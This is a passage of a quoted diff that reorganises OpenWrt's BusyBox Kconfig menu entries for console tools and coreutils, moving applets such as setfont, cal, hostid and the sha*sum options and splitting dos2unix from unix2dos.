>   	help
>   	  This program clears the terminal screen.
> -
>   config BUSYBOX_CONFIG_DEALLOCVT
>   	bool "deallocvt"
>   	default BUSYBOX_DEFAULT_DEALLOCVT
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  This program deallocates unused virtual consoles.
> -
>   config BUSYBOX_CONFIG_DUMPKMAP
>   	bool "dumpkmap"
>   	default BUSYBOX_DEFAULT_DUMPKMAP
> @@ -42,14 +31,18 @@ config BUSYBOX_CONFIG_DUMPKMAP
>   	help
>   	  This program dumps the kernel's keyboard translation table to
>   	  stdout, in binary format. You can then use loadkmap to load it.
> -
> +config BUSYBOX_CONFIG_FGCONSOLE
> +	bool "fgconsole"
> +	default BUSYBOX_DEFAULT_FGCONSOLE
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  This program prints active (foreground) console number.
>   config BUSYBOX_CONFIG_KBD_MODE
>   	bool "kbd_mode"
>   	default BUSYBOX_DEFAULT_KBD_MODE
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  This program reports and sets keyboard mode.
> -
>   config BUSYBOX_CONFIG_LOADFONT
>   	bool "loadfont"
>   	default BUSYBOX_DEFAULT_LOADFONT
> @@ -57,6 +50,44 @@ config BUSYBOX_CONFIG_LOADFONT
>   	help
>   	  This program loads a console font from standard input.
>   
> +config BUSYBOX_CONFIG_SETFONT
> +	bool "setfont"
> +	default BUSYBOX_DEFAULT_SETFONT
> +	select BUSYBOX_CONFIG_PLATFORM_LINUX
> +	help
> +	  Allows to load console screen map. Useful for i18n.
> +
> +config BUSYBOX_CONFIG_FEATURE_SETFONT_TEXTUAL_MAP
> +	bool "Support reading textual screen maps"
> +	default BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
> +	depends on BUSYBOX_CONFIG_SETFONT
> +	help
> +	  Support reading textual screen maps.
> +
> +config BUSYBOX_CONFIG_DEFAULT_SETFONT_DIR
> +	string "Default directory for console-tools files"
> +	default BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
> +	depends on BUSYBOX_CONFIG_SETFONT
> +	help
> +	  Directory to use if setfont's params are simple filenames
> +	  (not /path/to/file or ./file). Default is "" (no default directory).
> +
> +comment "Common options for loadfont and setfont"
> +	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
> +
> +config BUSYBOX_CONFIG_FEATURE_LOADFONT_PSF2
> +	bool "Support for PSF2 console fonts"
> +	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
> +	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
> +	help
> +	  Support PSF2 console fonts.
> +
> +config BUSYBOX_CONFIG_FEATURE_LOADFONT_RAW
> +	bool "Support for old (raw) console fonts"
> +	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
> +	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
> +	help
> +	  Support old (raw) console fonts.
>   config BUSYBOX_CONFIG_LOADKMAP
>   	bool "loadkmap"
>   	default BUSYBOX_DEFAULT_LOADKMAP
> @@ -64,7 +95,6 @@ config BUSYBOX_CONFIG_LOADKMAP
>   	help
>   	  This program loads a keyboard translation table from
>   	  standard input.
> -
>   config BUSYBOX_CONFIG_OPENVT
>   	bool "openvt"
>   	default BUSYBOX_DEFAULT_OPENVT
> @@ -72,14 +102,12 @@ config BUSYBOX_CONFIG_OPENVT
>   	help
>   	  This program is used to start a command on an unused
>   	  virtual terminal.
> -
>   config BUSYBOX_CONFIG_RESET
>   	bool "reset"
>   	default BUSYBOX_DEFAULT_RESET
>   	help
>   	  This program is used to reset the terminal screen, if it
>   	  gets messed up.
> -
>   config BUSYBOX_CONFIG_RESIZE
>   	bool "resize"
>   	default BUSYBOX_DEFAULT_RESIZE
> @@ -96,7 +124,6 @@ config BUSYBOX_CONFIG_FEATURE_RESIZE_PRINT
>   	  the terminal.
>   	  E.g.:
>   	  COLUMNS=80;LINES=44;export COLUMNS LINES;
> -
>   config BUSYBOX_CONFIG_SETCONSOLE
>   	bool "setconsole"
>   	default BUSYBOX_DEFAULT_SETCONSOLE
> @@ -111,29 +138,6 @@ config BUSYBOX_CONFIG_FEATURE_SETCONSOLE_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_SETCONSOLE && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the setconsole applet.
> -
> -config BUSYBOX_CONFIG_SETFONT
> -	bool "setfont"
> -	default BUSYBOX_DEFAULT_SETFONT
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX
> -	help
> -	  Allows to load console screen map. Useful for i18n.
> -
> -config BUSYBOX_CONFIG_FEATURE_SETFONT_TEXTUAL_MAP
> -	bool "Support reading textual screen maps"
> -	default BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP
> -	depends on BUSYBOX_CONFIG_SETFONT
> -	help
> -	  Support reading textual screen maps.
> -
> -config BUSYBOX_CONFIG_DEFAULT_SETFONT_DIR
> -	string "Default directory for console-tools files"
> -	default BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR
> -	depends on BUSYBOX_CONFIG_SETFONT
> -	help
> -	  Directory to use if setfont's params are simple filenames
> -	  (not /path/to/file or ./file). Default is "" (no default directory).
> -
>   config BUSYBOX_CONFIG_SETKEYCODES
>   	bool "setkeycodes"
>   	default BUSYBOX_DEFAULT_SETKEYCODES
> @@ -141,14 +145,12 @@ config BUSYBOX_CONFIG_SETKEYCODES
>   	help
>   	  This program loads entries into the kernel's scancode-to-keycode
>   	  map, allowing unusual keyboards to generate usable keycodes.
> -
>   config BUSYBOX_CONFIG_SETLOGCONS
>   	bool "setlogcons"
>   	default BUSYBOX_DEFAULT_SETLOGCONS
>   	select BUSYBOX_CONFIG_PLATFORM_LINUX
>   	help
>   	  This program redirects the output console of kernel messages.
> -
>   config BUSYBOX_CONFIG_SHOWKEY
>   	bool "showkey"
>   	default BUSYBOX_DEFAULT_SHOWKEY
> @@ -156,21 +158,4 @@ config BUSYBOX_CONFIG_SHOWKEY
>   	help
>   	  Shows keys pressed.
>   
> -comment "Common options for loadfont and setfont"
> -	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
> -
> -config BUSYBOX_CONFIG_FEATURE_LOADFONT_PSF2
> -	bool "Support for PSF2 console fonts"
> -	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2
> -	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
> -	help
> -	  Support PSF2 console fonts.
> -
> -config BUSYBOX_CONFIG_FEATURE_LOADFONT_RAW
> -	bool "Support for old (raw) console fonts"
> -	default BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW
> -	depends on BUSYBOX_CONFIG_LOADFONT || BUSYBOX_CONFIG_SETFONT
> -	help
> -	  Support old (raw) console fonts.
> -
>   endmenu
> diff --git a/package/utils/busybox/config/coreutils/Config.in b/package/utils/busybox/config/coreutils/Config.in
> index ec5611b..855bcd1 100644
> --- a/package/utils/busybox/config/coreutils/Config.in
> +++ b/package/utils/busybox/config/coreutils/Config.in
> @@ -13,12 +13,82 @@ config BUSYBOX_CONFIG_BASENAME
>   	  basename is used to strip the directory and suffix from filenames,
>   	  leaving just the filename itself. Enable this option if you wish
>   	  to enable the 'basename' utility.
> +config BUSYBOX_CONFIG_CAL
> +	bool "cal"
> +	default BUSYBOX_DEFAULT_CAL
> +	help
> +	  cal is used to display a monthly calendar.
>   config BUSYBOX_CONFIG_CAT
>   	bool "cat"
>   	default BUSYBOX_DEFAULT_CAT
>   	help
>   	  cat is used to concatenate files and print them to the standard
>   	  output. Enable this option if you wish to enable the 'cat' utility.
> +config BUSYBOX_CONFIG_CATV
> +	bool "catv"
> +	default BUSYBOX_DEFAULT_CATV
> +	help
> +	  Display nonprinting characters as escape sequences (like some
> +	  implementations' cat -v option).
> +config BUSYBOX_CONFIG_CHGRP
> +	bool "chgrp"
> +	default BUSYBOX_DEFAULT_CHGRP
> +	help
> +	  chgrp is used to change the group ownership of files.
> +config BUSYBOX_CONFIG_CHMOD
> +	bool "chmod"
> +	default BUSYBOX_DEFAULT_CHMOD
> +	help
> +	  chmod is used to change the access permission of files.
> +config BUSYBOX_CONFIG_CHOWN
> +	bool "chown"
> +	default BUSYBOX_DEFAULT_CHOWN
> +	help
> +	  chown is used to change the user and/or group ownership
> +	  of files.
> +
> +config BUSYBOX_CONFIG_FEATURE_CHOWN_LONG_OPTIONS
> +	bool "Enable long options"
> +	default BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
> +	depends on BUSYBOX_CONFIG_CHOWN && BUSYBOX_CONFIG_LONG_OPTS
> +	help
> +	  Enable use of long options
> +config BUSYBOX_CONFIG_CHROOT
> +	bool "chroot"
> +	default BUSYBOX_DEFAULT_CHROOT
> +	help
> +	  chroot is used to change the root directory and run a command.
> +	  The default command is `/bin/sh'.
> +config BUSYBOX_CONFIG_CKSUM
> +	bool "cksum"
> +	default BUSYBOX_DEFAULT_CKSUM
> +	help
> +	  cksum is used to calculate the CRC32 checksum of a file.
> +config BUSYBOX_CONFIG_COMM
> +	bool "comm"
> +	default BUSYBOX_DEFAULT_COMM
> +	help
> +	  comm is used to compare two files line by line and return
> +	  a three-column output.
> +config BUSYBOX_CONFIG_CP
> +	bool "cp"
> +	default BUSYBOX_DEFAULT_CP
> +	help
> +	  cp is used to copy files and directories.
> +
> +config BUSYBOX_CONFIG_FEATURE_CP_LONG_OPTIONS
> +	bool "Enable long options for cp"
> +	default BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
> +	depends on BUSYBOX_CONFIG_CP && BUSYBOX_CONFIG_LONG_OPTS
> +	help
> +	  Enable long options for cp.
> +	  Also add support for --parents option.
> +config BUSYBOX_CONFIG_CUT
> +	bool "cut"
> +	default BUSYBOX_DEFAULT_CUT
> +	help
> +	  cut is used to print selected parts of lines from
> +	  each file to stdout.
>   config BUSYBOX_CONFIG_DATE
>   	bool "date"
>   	default BUSYBOX_DEFAULT_DATE
> @@ -102,231 +172,6 @@ config BUSYBOX_CONFIG_FEATURE_DD_STATUS
>   	depends on BUSYBOX_CONFIG_DD
>   	help
>   	  Enables support for status=noxfer/none option.
> -config BUSYBOX_CONFIG_HOSTID
> -	bool "hostid"
> -	default BUSYBOX_DEFAULT_HOSTID
> -	help
> -	  hostid prints the numeric identifier (in hexadecimal) for
> -	  the current host.
> -config BUSYBOX_CONFIG_ID
> -	bool "id"
> -	default BUSYBOX_DEFAULT_ID
> -	help
> -	  id displays the current user and group ID names.
> -config BUSYBOX_CONFIG_GROUPS
> -	bool "groups"
> -	default BUSYBOX_DEFAULT_GROUPS
> -	help
> -	  Print the group names associated with current user id.
> -config BUSYBOX_CONFIG_SHUF
> -	bool "shuf"
> -	default BUSYBOX_DEFAULT_SHUF
> -	help
> -	  Generate random permutations
> -config BUSYBOX_CONFIG_STAT
> -	bool "stat"
> -	default BUSYBOX_DEFAULT_STAT
> -	help
> -	  display file or filesystem status.
> -
> -config BUSYBOX_CONFIG_FEATURE_STAT_FORMAT
> -	bool "Enable custom formats (-c)"
> -	default BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT
> -	depends on BUSYBOX_CONFIG_STAT
> -	help
> -	  Without this, stat will not support the '-c format' option where
> -	  users can pass a custom format string for output. This adds about
> -	  7k to a nonstatic build on amd64.
> -
> -config BUSYBOX_CONFIG_FEATURE_STAT_FILESYSTEM
> -	bool "Enable display of filesystem status (-f)"
> -	default BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM
> -	depends on BUSYBOX_CONFIG_STAT
> -	select BUSYBOX_CONFIG_PLATFORM_LINUX # statfs()
> -	help
> -	  Without this, stat will not support the '-f' option to display
> -	  information about filesystem status.
> -config BUSYBOX_CONFIG_SYNC
> -	bool "sync"
> -	default BUSYBOX_DEFAULT_SYNC
> -	help
> -	  sync is used to flush filesystem buffers.
> -config BUSYBOX_CONFIG_FEATURE_SYNC_FANCY
> -	bool "Enable -d and -f flags (requres syncfs(2) in libc)"
> -	default BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY
> -	depends on BUSYBOX_CONFIG_SYNC
> -	help
> -	  sync -d FILE... executes fdatasync() on each FILE.
> -	  sync -f FILE... executes syncfs() on each FILE.
> -config BUSYBOX_CONFIG_TEST
> -	bool "test"
> -	default BUSYBOX_DEFAULT_TEST
> -	help
> -	  test is used to check file types and compare values,
> -	  returning an appropriate exit code. The bash shell
> -	  has test built in, ash can build it in optionally.
> -
> -config BUSYBOX_CONFIG_FEATURE_TEST_64
> -	bool "Extend test to 64 bit"
> -	default BUSYBOX_DEFAULT_FEATURE_TEST_64
> -	depends on BUSYBOX_CONFIG_TEST || BUSYBOX_CONFIG_ASH_BUILTIN_TEST || BUSYBOX_CONFIG_HUSH
> -	help
> -	  Enable 64-bit support in test.
> -config BUSYBOX_CONFIG_TOUCH
> -	bool "touch"
> -	default BUSYBOX_DEFAULT_TOUCH
> -	help
> -	  touch is used to create or change the access and/or
> -	  modification timestamp of specified files.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOUCH_NODEREF
> -	bool "Add support for -h"
> -	default BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF
> -	depends on BUSYBOX_CONFIG_TOUCH
> -	help
> -	  Enable touch to have the -h option.
> -	  This requires libc support for lutimes() function.
> -
> -config BUSYBOX_CONFIG_FEATURE_TOUCH_SUSV3
> -	bool "Add support for SUSV3 features (-d -t -r)"
> -	default BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3
> -	depends on BUSYBOX_CONFIG_TOUCH
> -	help
> -	  Enable touch to use a reference file or a given date/time argument.
> -config BUSYBOX_CONFIG_TR
> -	bool "tr"
> -	default BUSYBOX_DEFAULT_TR
> -	help
> -	  tr is used to squeeze, and/or delete characters from standard
> -	  input, writing to standard output.
> -
> -config BUSYBOX_CONFIG_FEATURE_TR_CLASSES
> -	bool "Enable character classes (such as [:upper:])"
> -	default BUSYBOX_DEFAULT_FEATURE_TR_CLASSES
> -	depends on BUSYBOX_CONFIG_TR
> -	help
> -	  Enable character classes, enabling commands such as:
> -	  tr [:upper:] [:lower:] to convert input into lowercase.
> -
> -config BUSYBOX_CONFIG_FEATURE_TR_EQUIV
> -	bool "Enable equivalence classes"
> -	default BUSYBOX_DEFAULT_FEATURE_TR_EQUIV
> -	depends on BUSYBOX_CONFIG_TR
> -	help
> -	  Enable equivalence classes, which essentially add the enclosed
> -	  character to the current set. For instance, tr [=a=] xyz would
> -	  replace all instances of 'a' with 'xyz'. This option is mainly
> -	  useful for cases when no other way of expressing a character
> -	  is possible.
> -config BUSYBOX_CONFIG_TRUNCATE
> -	bool "truncate"
> -	default BUSYBOX_DEFAULT_TRUNCATE
> -	help
> -	  truncate truncates files to a given size. If a file does
> -	  not exist, it is created unless told otherwise.
> -config BUSYBOX_CONFIG_UNLINK
> -	bool "unlink"
> -	default BUSYBOX_DEFAULT_UNLINK
> -	help
> -	  unlink deletes a file by calling unlink()
> -config BUSYBOX_CONFIG_BASE64
> -	bool "base64"
> -	default BUSYBOX_DEFAULT_BASE64
> -	help
> -	  Base64 encode and decode
> -config BUSYBOX_CONFIG_WHO
> -      bool "who"
> -      default BUSYBOX_DEFAULT_WHO
> -      depends on BUSYBOX_CONFIG_FEATURE_UTMP
> -      help
> -        who is used to show who is logged on.
> -config BUSYBOX_CONFIG_USERS
> -      bool "users"
> -      default BUSYBOX_DEFAULT_USERS
> -      depends on BUSYBOX_CONFIG_FEATURE_UTMP
> -      help
> -        Print users currently logged on.
> -
> -config BUSYBOX_CONFIG_CAL
> -	bool "cal"
> -	default BUSYBOX_DEFAULT_CAL
> -	help
> -	  cal is used to display a monthly calendar.
> -
> -config BUSYBOX_CONFIG_CATV
> -	bool "catv"
> -	default BUSYBOX_DEFAULT_CATV
> -	help
> -	  Display nonprinting characters as escape sequences (like some
> -	  implementations' cat -v option).
> -
> -config BUSYBOX_CONFIG_CHGRP
> -	bool "chgrp"
> -	default BUSYBOX_DEFAULT_CHGRP
> -	help
> -	  chgrp is used to change the group ownership of files.
> -
> -config BUSYBOX_CONFIG_CHMOD
> -	bool "chmod"
> -	default BUSYBOX_DEFAULT_CHMOD
> -	help
> -	  chmod is used to change the access permission of files.
> -
> -config BUSYBOX_CONFIG_CHOWN
> -	bool "chown"
> -	default BUSYBOX_DEFAULT_CHOWN
> -	help
> -	  chown is used to change the user and/or group ownership
> -	  of files.
> -
> -config BUSYBOX_CONFIG_FEATURE_CHOWN_LONG_OPTIONS
> -	bool "Enable long options"
> -	default BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS
> -	depends on BUSYBOX_CONFIG_CHOWN && BUSYBOX_CONFIG_LONG_OPTS
> -	help
> -	  Enable use of long options
> -
> -config BUSYBOX_CONFIG_CHROOT
> -	bool "chroot"
> -	default BUSYBOX_DEFAULT_CHROOT
> -	help
> -	  chroot is used to change the root directory and run a command.
> -	  The default command is `/bin/sh'.
> -
> -config BUSYBOX_CONFIG_CKSUM
> -	bool "cksum"
> -	default BUSYBOX_DEFAULT_CKSUM
> -	help
> -	  cksum is used to calculate the CRC32 checksum of a file.
> -
> -config BUSYBOX_CONFIG_COMM
> -	bool "comm"
> -	default BUSYBOX_DEFAULT_COMM
> -	help
> -	  comm is used to compare two files line by line and return
> -	  a three-column output.
> -
> -config BUSYBOX_CONFIG_CP
> -	bool "cp"
> -	default BUSYBOX_DEFAULT_CP
> -	help
> -	  cp is used to copy files and directories.
> -
> -config BUSYBOX_CONFIG_FEATURE_CP_LONG_OPTIONS
> -	bool "Enable long options for cp"
> -	default BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS
> -	depends on BUSYBOX_CONFIG_CP && BUSYBOX_CONFIG_LONG_OPTS
> -	help
> -	  Enable long options for cp.
> -	  Also add support for --parents option.
> -
> -config BUSYBOX_CONFIG_CUT
> -	bool "cut"
> -	default BUSYBOX_DEFAULT_CUT
> -	help
> -	  cut is used to print selected parts of lines from
> -	  each file to stdout.
> -
>   config BUSYBOX_CONFIG_DF
>   	bool "df"
>   	default BUSYBOX_DEFAULT_DF
> @@ -344,29 +189,25 @@ config BUSYBOX_CONFIG_FEATURE_DF_FANCY
>   	    -a Show all filesystems
>   	    -i Inodes
>   	    -B <SIZE> Blocksize
> -
>   config BUSYBOX_CONFIG_DIRNAME
>   	bool "dirname"
>   	default BUSYBOX_DEFAULT_DIRNAME
>   	help
>   	  dirname is used to strip a non-directory suffix from
>   	  a file name.
> -
>   config BUSYBOX_CONFIG_DOS2UNIX
> -	bool "dos2unix/unix2dos"
> +	bool "dos2unix"
>   	default BUSYBOX_DEFAULT_DOS2UNIX
>   	help
>   	  dos2unix is used to convert a text file from DOS format to
>   	  UNIX format, and vice versa.
>   
>   config BUSYBOX_CONFIG_UNIX2DOS
> -	bool
> +	bool "unix2dos"
>   	default BUSYBOX_DEFAULT_UNIX2DOS
> -	depends on BUSYBOX_CONFIG_DOS2UNIX
>   	help
>   	  unix2dos is used to convert a text file from UNIX format to
>   	  DOS format, and vice versa.
> -
>   config BUSYBOX_CONFIG_DU
>   	bool "du (default blocksize of 512 bytes)"
>   	default BUSYBOX_DEFAULT_DU
> @@ -380,7 +221,6 @@ config BUSYBOX_CONFIG_FEATURE_DU_DEFAULT_BLOCKSIZE_1K
>   	depends on BUSYBOX_CONFIG_DU
>   	help
>   	  Use a blocksize of (1K) instead of the default 512b.
> -
>   config BUSYBOX_CONFIG_ECHO
>   	bool "echo (basic SuSv3 version taking no options)"
>   	default BUSYBOX_DEFAULT_ECHO
> @@ -394,7 +234,6 @@ config BUSYBOX_CONFIG_FEATURE_FANCY_ECHO
>   	depends on BUSYBOX_CONFIG_ECHO || BUSYBOX_CONFIG_ASH_BUILTIN_ECHO || BUSYBOX_CONFIG_HUSH
>   	help
>   	  This adds options (-n and -e) to echo.
> -
>   config BUSYBOX_CONFIG_ENV
>   	bool "env"
>   	default BUSYBOX_DEFAULT_ENV
> @@ -409,7 +248,6 @@ config BUSYBOX_CONFIG_FEATURE_ENV_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_ENV && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the env applet.
> -
>   config BUSYBOX_CONFIG_EXPAND
>   	bool "expand"
>   	default BUSYBOX_DEFAULT_EXPAND
> @@ -423,6 +261,18 @@ config BUSYBOX_CONFIG_FEATURE_EXPAND_LONG_OPTIONS
>   	help
>   	  Support long options for the expand applet.
>   
> +config BUSYBOX_CONFIG_UNEXPAND
> +	bool "unexpand"
> +	default BUSYBOX_DEFAULT_UNEXPAND
> +	help
> +	  By default, convert only leading sequences of blanks to tabs.
> +
> +config BUSYBOX_CONFIG_FEATURE_UNEXPAND_LONG_OPTIONS
> +	bool "Enable long options"
> +	default BUSYBOX_DEFAULT_FEATURE_UNEXPAND_LONG_OPTIONS
> +	depends on BUSYBOX_CONFIG_UNEXPAND && BUSYBOX_CONFIG_LONG_OPTS
> +	help
> +	  Support long options for the unexpand applet.
>   config BUSYBOX_CONFIG_EXPR
>   	bool "expr"
>   	default BUSYBOX_DEFAULT_EXPR
> @@ -438,25 +288,21 @@ config BUSYBOX_CONFIG_EXPR_MATH_SUPPORT_64
>   	  Enable 64-bit math support in the expr applet. This will make
>   	  the applet slightly larger, but will allow computation with very
>   	  large numbers.
> -
>   config BUSYBOX_CONFIG_FALSE
>   	bool "false"
>   	default BUSYBOX_DEFAULT_FALSE
>   	help
>   	  false returns an exit code of FALSE (1).
> -
>   config BUSYBOX_CONFIG_FOLD
>   	bool "fold"
>   	default BUSYBOX_DEFAULT_FOLD
>   	help
>   	  Wrap text to fit a specific width.
> -
>   config BUSYBOX_CONFIG_FSYNC
>   	bool "fsync"
>   	default BUSYBOX_DEFAULT_FSYNC
>   	help
>   	  fsync is used to flush file-related cached blocks to disk.
> -
>   config BUSYBOX_CONFIG_HEAD
>   	bool "head"
>   	default BUSYBOX_DEFAULT_HEAD
> @@ -469,8 +315,24 @@ config BUSYBOX_CONFIG_FEATURE_FANCY_HEAD
>   	default BUSYBOX_DEFAULT_FEATURE_FANCY_HEAD
>   	depends on BUSYBOX_CONFIG_HEAD
>   	help
> -	  This enables the head options (-c, -q, and -v).
> +	  This enables the head options (-c, -q, and -v).
> +config BUSYBOX_CONFIG_HOSTID
> +	bool "hostid"
> +	default BUSYBOX_DEFAULT_HOSTID
> +	help
> +	  hostid prints the numeric identifier (in hexadecimal) for
> +	  the current host.
> +config BUSYBOX_CONFIG_ID
> +	bool "id"
> +	default BUSYBOX_DEFAULT_ID
> +	help
> +	  id displays the current user and group ID names.
>   
> +config BUSYBOX_CONFIG_GROUPS
> +	bool "groups"
> +	default BUSYBOX_DEFAULT_GROUPS
> +	help
> +	  Print the group names associated with current user id.
>   config BUSYBOX_CONFIG_INSTALL
>   	bool "install"
>   	default BUSYBOX_DEFAULT_INSTALL
> @@ -483,25 +345,16 @@ config BUSYBOX_CONFIG_FEATURE_INSTALL_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_INSTALL && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the install applet.
> -
> -####config LENGTH
> -####	bool "length"
> -####	default y
> -####	help
> -####	  length is used to print out the length of a specified string.
> -
>   config BUSYBOX_CONFIG_LN
>   	bool "ln"
>   	default BUSYBOX_DEFAULT_LN
>   	help
>   	  ln is used to create hard or soft links between files.
> -
>   config BUSYBOX_CONFIG_LOGNAME
>   	bool "logname"
>   	default BUSYBOX_DEFAULT_LOGNAME
>   	help
>   	  logname is used to print the current user's login name.
> -
>   config BUSYBOX_CONFIG_LS
>   	bool "ls"
>   	default BUSYBOX_DEFAULT_LS
> @@ -567,13 +420,48 @@ config BUSYBOX_CONFIG_FEATURE_LS_COLOR_IS_DEFAULT
>   	  This is not recommended, since the colors are not
>   	  configurable, and the output may not be legible on
>   	  many output screens.
> -
>   config BUSYBOX_CONFIG_MD5SUM
>   	bool "md5sum"
>   	default BUSYBOX_DEFAULT_MD5SUM
>   	help
>   	  md5sum is used to print or check MD5 checksums.
>   
> +config BUSYBOX_CONFIG_SHA1SUM
> +	bool "sha1sum"
> +	default BUSYBOX_DEFAULT_SHA1SUM
> +	help
> +	  Compute and check SHA1 message digest
> +
> +config BUSYBOX_CONFIG_SHA256SUM
> +	bool "sha256sum"
> +	default BUSYBOX_DEFAULT_SHA256SUM
> +	help
> +	  Compute and check SHA256 message digest
> +
> +config BUSYBOX_CONFIG_SHA512SUM
> +	bool "sha512sum"
> +	default BUSYBOX_DEFAULT_SHA512SUM
> +	help
> +	  Compute and check SHA512 message digest
> +
> +config BUSYBOX_CONFIG_SHA3SUM
> +	bool "sha3sum"
> +	default BUSYBOX_DEFAULT_SHA3SUM
> +	help
> +	  Compute and check SHA3 message digest
> +
> +comment "Common options for md5sum, sha1sum, sha256sum, sha512sum, sha3sum"
> +	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
> +
> +config BUSYBOX_CONFIG_FEATURE_MD5_SHA1_SUM_CHECK
> +	bool "Enable -c, -s and -w options"
> +	default BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK
> +	depends on BUSYBOX_CONFIG_MD5SUM || BUSYBOX_CONFIG_SHA1SUM || BUSYBOX_CONFIG_SHA256SUM || BUSYBOX_CONFIG_SHA512SUM || BUSYBOX_CONFIG_SHA3SUM
> +	help
> +	  Enabling the -c options allows files to be checked
> +	  against pre-calculated hash values.
> +
> +	  -s and -w are useful options when verifying checksums.
>   config BUSYBOX_CONFIG_MKDIR
>   	bool "mkdir"
>   	default BUSYBOX_DEFAULT_MKDIR
> @@ -586,21 +474,18 @@ config BUSYBOX_CONFIG_FEATURE_MKDIR_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_MKDIR && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the mkdir applet.
> -
>   config BUSYBOX_CONFIG_MKFIFO
>   	bool "mkfifo"
>   	default BUSYBOX_DEFAULT_MKFIFO
>   	help
>   	  mkfifo is used to create FIFOs (named pipes).
> -	  The `mknod' program can also create FIFOs.
> -
> +	  The 'mknod' program can also create FIFOs.
>   config BUSYBOX_CONFIG_MKNOD
>   	bool "mknod"
>   	default BUSYBOX_DEFAULT_MKNOD
>   	help
>   	  mknod is used to create FIFOs or block/character special
>   	  files with the specified names.
> -
>   config BUSYBOX_CONFIG_MV
>   	bool "mv"
>   	default BUSYBOX_DEFAULT_MV
> @@ -613,44 +498,37 @@ config BUSYBOX_CONFIG_FEATURE_MV_LONG_OPTIONS
>   	depends on BUSYBOX_CONFIG_MV && BUSYBOX_CONFIG_LONG_OPTS
>   	help
>   	  Support long options for the mv applet.
> -
>   config BUSYBOX_CONFIG_NICE
>   	bool "nice"
>   	default BUSYBOX_DEFAULT_NICE
>   	help
>   	  nice runs a program with modified scheduling priority.
> -
>   config BUSYBOX_CONFIG_NOHUP
>   	bool "nohup"
>   	default BUSYBOX_DEFAULT_NOHUP
>   	help
>   	  run a command immune to hangups, with output to a non-tty.
> -
>   config BUSYBOX_CONFIG_OD
>   	bool "od"
>   	default BUSYBOX_DEFAULT_OD
>   	help
>   	  od is used to dump binary files in octal and other formats.
> -
>   config BUSYBOX_CONFIG_PRINTENV
>   	bool "printenv"
>   	default BUSYBOX_DEFAULT_PRINTENV
>   	help
>   	  printenv is used to print all or part of environment.
> -
>   config BUSYBOX_CONFIG_PRINTF
>   	bool "printf"
>   	default BUSYBOX_DEFAULT_PRINTF
>   	help
>   	  printf is used to format and print specified strings.
>   	  It's similar to `echo' except it has more options.
> -
>   config BUSYBOX_CONFIG_PWD
>   	bool "pwd"
>   	default BUSYBOX_DEFAULT_PWD
>   	help
>   	  pwd is used to print the current directory.
> -
>   config BUSYBOX_CONFIG_READLINK
>   	bool "readlink"
>   	default BUSYBOX_DEFAULT_READLINK
> @@ -664,20 +542,17 @@ config BUSYBOX_CONFIG_FEATURE_READLINK_FOLLOW
>   	depends on BUSYBOX_CONFIG_READLINK
>   	help
>   	  Enable the readlink option (-f).
> -
>   config BUSYBOX_CONFIG_REALPATH
>   	bool "realpath"
>   	default BUSYBOX_DEFAULT_REALPATH
>   	help
>   	  Return the canonicalized absolute pathname.
>   	  This isn't provided by GNU shellutils, but where else does it belong.
> -
>   config BUSYBOX_CONFIG_RM
>   	bool "rm"
>   	default BUSYBOX_DEFAULT_RM
>   	help
>   	  rm is used to remove files or directories.
> -
>   config BUSYBOX_CONFIG_RMDIR
>   	bool "rmdir"
>   	default BUSYBOX_DEFAULT_RMDIR
> @@ -691,37 +566,16 @@ config BUSYBOX_CONFIG_FEATURE_RMDIR_LONG_OPTIONS
>   	help
>   	  Support long options for the rmdir applet, including
>   	  --ignore-fail-on-non-empty for compatibility with GNU rmdir.
> -
>   config BUSYBOX_CONFIG_SEQ
>   	bool "seq"
>   	default BUSYBOX_DEFAULT_SEQ
>   	help
>   	  print a sequence of numbers
> -
> -config BUSYBOX_CONFIG_SHA1SUM
> -	bool "sha1sum"
> -	default BUSYBOX_DEFAULT_SHA1SUM
> -	help
> -	  Compute and check SHA1 message digest
> -
> -config BUSYBOX_CONFIG_SHA256SUM
> -	bool "sha256sum"
> -	default BUSYBOX_DEFAULT_SHA256SUM
> -	help
> -	  Compute and check SHA256 message digest
> -
> -config BUSYBOX_CONFIG_SHA512SUM
